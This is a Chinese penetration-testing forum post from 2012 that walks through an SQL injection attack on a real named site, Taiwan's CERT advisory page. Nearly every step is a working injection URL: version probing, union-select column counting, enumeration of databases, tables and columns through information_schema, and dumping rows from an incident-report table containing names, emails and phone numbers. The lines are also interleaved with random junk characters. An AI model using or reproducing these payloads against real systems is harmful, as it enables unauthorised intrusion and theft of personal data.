中国网络渗透测试联盟

标题: .高级暴库方法讲解 [打印本页]

作者: admin    时间: 2012-9-13 17:57
标题: .高级暴库方法讲解
1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询" Y; K0 u! S# \6 `: J1 {
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
5 G3 c4 W0 `! i. e7 c6 c/ {' rhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--+ K* C4 F  n  d( v% F8 d2 b
3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--! ^4 c! X% Q9 N7 H+ o4 K( J% h' X
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。
/ f) A$ G+ o) _2 }3 E4.判断有没有写权限" F* x4 I# v7 [$ ?6 [
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限1 J5 |6 q) G/ A- R
没办法,手动猜表啦' S  j, `; I; Q- W% c2 N
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,13 r' D4 ^5 T- q3 H/ @3 E% o: a
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下& ?$ K2 s+ a& ]9 \$ m6 I) i4 q
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--2 {" U' w8 g  O% `% z, _
成功查出所有数据库,国外的黑客就是不一般。数据库如下:
9 A% q# o4 D  e- K- Cinformation_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
# [$ l% `+ Z* f6.爆表,爆的是twcert库
$ S4 M  Z3 W3 x) @8 r. n5 S% O1 rhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
& B9 ]8 P0 @0 ]5 s$ p9 r+ D爆出如下表; ?8 H; t( m! s* p' K0 c' i
downloadfile,irsys,newsdata,secrpt,secrpt_big5- _: A! Z; b* y$ k% F
7.爆列名,这次爆的是irsys表1 z: Z" c0 b. J0 A% R) J# z
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--1 A+ R- G% R% `" f
爆出如下列  ^6 ~/ K  O4 D  K' B
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
9 p! n, m: N. _2 \3 b5 C8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
3 F0 U# L+ G3 a' M/ {$ o) fhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--3 r+ J4 t$ \/ u; L0 I
返回是3,说明每个列里有3个地段
, i6 Y0 v/ P& y  N" ?9.爆字段内容1 Y9 h- a6 Z0 g- n/ S
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
& b& B* v( ]" M* V3 Z爆出name列的第一个字段的内容2 y3 }  B1 ~, D. p
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
* l% A2 m* |/ Q/ Q) r* R2 Y5 k爆出name列的第二个字段的内容




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2